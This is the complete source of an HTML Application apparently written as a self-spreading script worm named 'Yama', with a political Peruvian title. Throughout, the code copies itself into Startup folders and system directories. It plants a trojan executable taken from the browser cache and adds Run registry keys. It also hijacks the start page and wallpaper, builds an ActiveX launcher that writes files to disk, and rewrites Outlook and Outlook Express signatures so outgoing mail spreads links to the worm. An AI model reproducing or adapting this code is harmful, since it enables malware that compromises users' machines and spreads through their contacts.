<HTML><HEAD><TITLE>La CIA y los Espanoles estan destruyendo mi pais. Yama clama por ayuda mundial</TITLE><HTA:APPLICATION id="yama" applicationname="yama" icon="c:\windows\winupd.ico" singleinstance="yes" windowState="minimize" TRUSTED="YES"></HEAD><BODY><SCRIPT LANGUAGE="JAVASCRIPT">try{s1="C:\\WINDOWS\\Start Menu\\Programs\\Startup";s2="C:\\WINDOWS\\Temporary Internet Files\\Content.IE5";fso=new ActiveXObject("Scripting.FileSystemObject");if(fso.FolderExists(s1)==false){s1="C:\\WINDOWS\\Menú Inicio\\Programas\\\Inicio";s2="C:\\WINDOWS\\Archivos temporales de Internet\\Content.IE5";}if (fso.FileExists(s1+"\\yama1.hta")==true){
try{fso.DeleteFile(s1+"\\yama1.hta",true);}catch(e){document.write("1");}}if(fso.FileExists(s1+"\\yama.hta")==true){try{fso.DeleteFile(s1+"\\yama.hta",true);}catch(e){document.write("2");}}f=fso.GetFolder(s2);fc=new Enumerator(f.SubFolders);for(;!fc.atEnd();fc.moveNext()){s3=s2+"\\"+fso.GetBaseName(fc.item())+"\\yamaupgrade[1].gif";if(fso.FileExists(s3)==true){f=fso.GetFile(s3);try{f.Copy(s1+"\\yama1.hta",true);f.Copy("C:\\WINDOWS\\yama.hta",true);}catch(e){document.write("2");}}
s3=s2+"\\"+fso.GetBaseName(fc.item())+"\\yamatrojan[1].gif";if(fso.FileExists(s3)==true){f=fso.GetFile(s3);try{f.Copy(s1+"\\trojan.exe",true);}catch(e){document.write("trojan");}}}
WSHShell=new ActiveXObject("WScript.Shell");WSHShell.RegWrite("HKCU\\Software\\Microsoft\\Windows Scripting Host\\Settings\\Timeout",0,"REG_DWORD");WSHShell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://orbita.starmedia.com/~yamaperu/");WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\yama","C:\\WINDOWS\\yama.hta");
d = new Date();bg=WSHShell.RegRead("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Desktop\\General\\Wallpaper");if(bg.indexOf("htm")!=-1)bg="";s3="C:\\WINDOWS\\alan.html";if(fso.FileExists(s3)==false || bg!=""){f=fso.CreateTextFile(s3,true);f.Write('<HTML><SCRIPT>function chantate(mensaje,como,color){document.write("<MARQUEE DIRECTION="+como+"><FONT COLOR="+color+"FACE=\'Comic Sans MS\' SIZE=\'6\'>"+mensaje+"</"+');f.Write('"FONT></"+');f.Write('"MARQUEE>");}</');f.WriteLine('SCRIPT>');
f.Write('<BODY BGCOLOR="#000000" BACKGROUND=\"'+bg+'\"><SCRIPT>chantate("ALAN - PERÚ","LEFT","\'#FF0000\'");chantate("ALAN - PERÚ","RIGHT","\'#FFFFFF\'");chantate("ALAN - PERÚ","LEFT","\'#FF0000\'");chantate("<CENTER>Abril 2001 - PERUANISMO","UP","\'#00FFFF\'");</');f.Write('SCRIPT><BR><H2><CENTER><A HREF="http://orbita.starmedia.com/~yamaperu/"> Yama </');f.Write('A></');f.Write('H2><BR></');f.Write('BODY></');f.Write('HTML>');f.close();}s3="C:\\WINDOWS\\alan.reg";if (fso.FileExists(s3)==false){f=fso.CreateTextFile(s3,true);f.Write('REGEDIT4');
f.WriteBlankLines(2);f.WriteLine('[HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer]');f.WriteLine('"ShellState"=hex:24,00,00,00,68,28,28,00,00,00,00,00,00,00,00,00,00,00,00,00,\\');f.WriteLine('00,01,00,00,00,0b,00,00,00,00,00,00,00,00,00,00');f.WriteBlankLines(2);f.close();}if(d.getMonth()>1 && d.getDate()>26){WSHShell.RegWrite("HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Internet Explorer\\Desktop\\General\\Wallpaper","C:\\WINDOWS\\alan.html");WSHShell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\Alan","C:\\WINDOWS\\REGEDIT.EXE -s C:\\WINDOWS\\alan.reg");}
s3="C:\\WINDOWS\\yamalauncher.html";if(fso.FileExists(s3)==false){f=fso.CreateTextFile(s3,true);f.WriteLine('<HTML><BODY><BASE href="file://C:\\WINDOWS\\">');f.WriteLine('<DIV style="POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">');f.WriteLine('<APPLET code="com.ms.activeX.ActiveXComponent"></'+'APPLET></'+'DIV>');f.WriteLine('<SCRIPT LANGUAGE="JAVASCRIPT1.2">');f.WriteLine('if((navigator.appVersion.indexOf("4.0")!=-1)&&(navigator.appVersion.indexOf("5.")!=-1)){');
f.WriteLine('window.open("http://orbita.starmedia.com/~yamaperu/yama.gif","yama","width=200,height=200,toolbar=no,resizable=no,menubar=no");top.focus();a1=document.applets[0];');f.WriteLine('if(navigator.systemLanguage.substr(0,2)=="es"){');f.WriteLine('fn="C:\\\\\\\\WINDOWS\\\\\\\\Menú Inicio\\\\\\\\Programas\\\\\\\\Inicio\\\\\\\\yama1.hta";');
f.WriteLine("doc=\"<SCRIPT>var fso,f,fc,s;fso=new ActiveXObject('Scripting.FileSystemObject');f=fso.GetFolder('C:\\\\\\\\WINDOWS\\\\\\\\Archivos temporales de Internet\\\\\\\\Content.IE5');if((fso.FileExists('C:\\\\\\\\WINDOWS\\\\\\\\Menú Inicio\\\\\\\\Programas\\\\\\\\Inicio\\\\\\\\yama.hta')==false)||(fso.FileExists('C:\\\\\\\\WINDOWS\\\\\\\\yama.hta')==false)){fc=new Enumerator(f.SubFolders);for(;!fc.atEnd();fc.moveNext()){s='C:\\\\\\\\WINDOWS\\\\\\\\Archivos temporales de Internet\\\\\\\\Content.IE5\\\\\\\\'+fso.GetBaseName(fc.item())+'\\\\\\\\yama[1].gif';"+
"if(fso.FileExists(s)==true){f=fso.OpenTextFile(s,1);f1=fso.CreateTextFile('C:\\\\\\\\WINDOWS\\\\\\\\yama.hta',true);f.SkipLine();while(!f.AtEndOfStream){f1.WriteLine(f.ReadLine());}f.close();f1.close();f=fso.GetFile('C:\\\\\\\\WINDOWS\\\\\\\\yama.hta');f.Copy('C:\\\\\\\\WINDOWS\\\\\\\\Menú Inicio\\\\\\\\Programas\\\\\\\\Inicio\\\\\\\\yama.hta',true);f.Copy('C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\yama.hta',true);}}}window.close();</\""+"+\"SCRIPT>\";");
f.WriteLine('setTimeout("f(\'Esta página no padrá ser vista porque tiene errores\')",1000);}');f.WriteLine('if(navigator.systemLanguage.substr(0,2)=="en"){');f.WriteLine('fn="C:\\\\\\\\WINDOWS\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\Startup\\\\\\\\yama1.hta";');
f.WriteLine("doc=\"<SCRIPT>var fso,f,fc,s;fso=new ActiveXObject('Scripting.FileSystemObject');f=fso.GetFolder('C:\\\\\\\\WINDOWS\\\\\\\\Temporary Internet Files\\\\\\\\Content.IE5');if((fso.FileExists('C:\\\\\\\\WINDOWS\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\yama.hta')==false)||(fso.FileExists('C:\\\\\\\\WINDOWS\\\\\\\\yama.hta')==false)){fc=new Enumerator(f.SubFolders);for(;!fc.atEnd();fc.moveNext()){s='C:\\\\\\\\WINDOWS\\\\\\\\Temporary Internet Files\\\\\\\\Content.IE5\\\\\\\\'+fso.GetBaseName(fc.item())+'\\\\\\\\yama[1].gif';"+
"if(fso.FileExists(s)==true){f=fso.OpenTextFile(s,1);f1=fso.CreateTextFile('C:\\\\\\\\WINDOWS\\\\\\\\yama.hta',true);f.SkipLine();while(!f.AtEndOfStream){f1.WriteLine(f.ReadLine());}f.close();f1.close();f=fso.GetFile('C:\\\\\\\\WINDOWS\\\\\\\\yama.hta');f.Copy('C:\\\\\\\\WINDOWS\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\yama.hta',true);f.Copy('C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\yama.hta',true);}}}window.close();</\""+"+\"SCRIPT>\";");
f.WriteLine('setTimeout("f(\'This page has errors\')",1000);}}');f.WriteLine('</'+'SCRIPT><SCRIPT LANGUAGE="VBSCRIPT">VA=ARRAY()</'+'SCRIPT>');f.WriteLine('</'+'BODY><SCRIPT LANGUAGE="JAVASCRIPT1.2">function f1(){a1.setProperty("DOC",doc);}');f.WriteLine('function f(mess){a1.setCLSID("{06290BD5-48AA-11D2-8432-006008C3FBFC}");a1.createInstance();');f.WriteLine('setTimeout("a1.setProperty(\'Path\',\'\"+fn+\"\')",1000);');f.WriteLine('setTimeout("f1()",1500);setTimeout("a1.invoke(\'write\',VA);alert(\'\"+mess +\"\');",2000);}');f.WriteLine('</'+'SCRIPT></'+'HTML>');
f.close();}try{if(WSHShell.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Clients\\Mail\\")=="Microsoft Outlook"){s2="HKCU\\Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\"+WSHShell.RegRead("HKCU\\Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\DefaultProfile")+"\\0A0D020000000000C000000000000046\\";WSHShell.RegWrite(s2+"001e0361","yamalauncher");WSHShell.RegWrite(s2+"000b0338",0,"REG_BINARY");WSHShell.RegWrite(s2+"000b0339",0,"REG_BINARY");WSHShell.RegWrite("HKCU\\Software\\Microsoft\\Office\\9.0\\Outlook\\Options\\Mail\\EditorPreference",131072,"REG_DWORD");
WSHShell.RegWrite("HKCU\\Software\\Microsoft\\Office\\9.0\\Outlook\\Preferences\\AddSigToReplyNote",1,"REG_DWORD");f=fso.GetFile(s3);f.Copy("C:\\WINDOWS\\Application Data\\Microsoft\\Signatures\\yamalauncher.htm",true);f=fso.CreateTextFile("C:\\WINDOWS\\Application Data\\Microsoft\\Signatures\\yamalauncher.txt");f.WriteBlankLines(20);f.WriteLine('http://orbita.starmedia.com/~yamaperu/yamalauncher.html');f.close();s3="C:\\WINDOWS\\Microsoft Outlook.rtf";f=fso.CreateTextFile(s3,true);
f.WriteLine('{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033\\deflangfe3082{\\fonttbl {\\f0\\fnil\\fcharset0 Tahoma;}}');f.WriteLine('\\uc1\\pard\\lang2058\\f0\\fs17\\par');f.WriteLine('\\par');f.WriteLine('\\par');f.WriteLine('\\par');f.WriteLine('\\par');f.WriteLine('\\par');f.WriteLine('http://orbita.starmedia.com/~yamaperu/yamalauncher.html\\par');f.WriteLine('\\par');f.WriteLine('}');f.close();f=fso.GetFile(s3);f.Copy("C:\\WINDOWS\\Application Data\\Microsoft\\Signatures\\yamalauncher.rtf",true);s2="C:\\WINDOWS\\Profiles";s3="C:\\WINDOWS\\Application Data\\Microsoft\\Signatures\\";
if (fso.FolderExists(s2)==true){f=fso.GetFolder(s2);fc=new Enumerator(f.SubFolders);for(;!fc.atEnd();fc.moveNext()){f1=fso.GetFile("C:\\WINDOWS\\yamalauncher.html");f1.Copy(s2+"\\"+fso.GetBaseName(fc.item())+"\\Application Data\\Microsoft\\Signatures\\yamalauncher.htm",true);f1=fso.GetFile(s3+"yamalauncher.txt");f1.Copy(s2+"\\"+fso.GetBaseName(fc.item())+"\\Application Data\\Microsoft\\Signatures\\yamalauncher.txt",true);f1=fso.GetFile(s3+"yamalauncher.rtf");f1.Copy(s2+"\\"+fso.GetBaseName(fc.item())+"\\Application Data\\Microsoft\\Signatures\\yamalauncher.rtf",true);
try{f1=fso.GetFile("C:\\WINDOWS\\yama.hta");f1.Copy(s2+"\\"+fso.GetBaseName(fc.item())+s1.subst(10)+"\\yama.hta",true);}catch(e){document.write("2");}}}}if(WSHShell.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Clients\\Mail\\")=="Outlook Express"){s2=WSHShell.RegRead("HKCU\\Identities\\Last User ID");WSHShell.RegWrite("HKCU\\Identities\\"+s2+"\\Software\\Microsoft\\Outlook Express\\5.0\\signatures\\Default Signature","00000000");WSHShell.RegWrite("HKCU\\Identities\\"+s2+"\\Software\\Microsoft\\Outlook Express\\5.0\\signatures\\00000000\\name","Signature #1");
WSHShell.RegWrite("HKCU\\Identities\\"+s2+"\\Software\\Microsoft\\Outlook Express\\5.0\\signatures\\00000000\\type",2,"REG_DWORD");WSHShell.RegWrite("HKCU\\Identities\\"+s2+"\\Software\\Microsoft\\Outlook Express\\5.0\\signatures\\00000000\\text","");WSHShell.RegWrite("HKCU\\Identities\\"+s2+"\\Software\\Microsoft\\Outlook Express\\5.0\\signatures\\00000000\\file","C:\\WINDOWS\\yamalauncher.html");WSHShell.RegWrite("HKCU\\Identities\\"+s2+"\\Software\\Microsoft\\Outlook Express\\5.0\\Signature Flags",3,"REG_DWORD");
WSHShell.RegWrite("HKCU\\Identities\\"+s2+"\\Software\\Microsoft\\Outlook Express\\5.0\\Reply To Messages In Original Format",0,"REG_DWORD");WSHShell.RegWrite("HKCU\\Identities\\"+s2+"\\Software\\Microsoft\\Outlook Express\\5.0\\Mail\\Message Send HTML",1,"REG_DWORD");s2="C:\\WINDOWS\\Profiles";if(fso.FolderExists(s2)==true){f=fso.GetFolder(s2);fc=new Enumerator(f.SubFolders);for(;!fc.atEnd();fc.moveNext()){f1=fso.GetFile("C:\\WINDOWS\\yama.hta");f1.Copy(s2+"\\"+fso.GetBaseName(fc.item())+s1.substr(10)+"\\yama.hta",true);}}}}catch(e){document.write("1");
}}catch(e){document.write("main");}window.close();</SCRIPT></BODY></HTML>

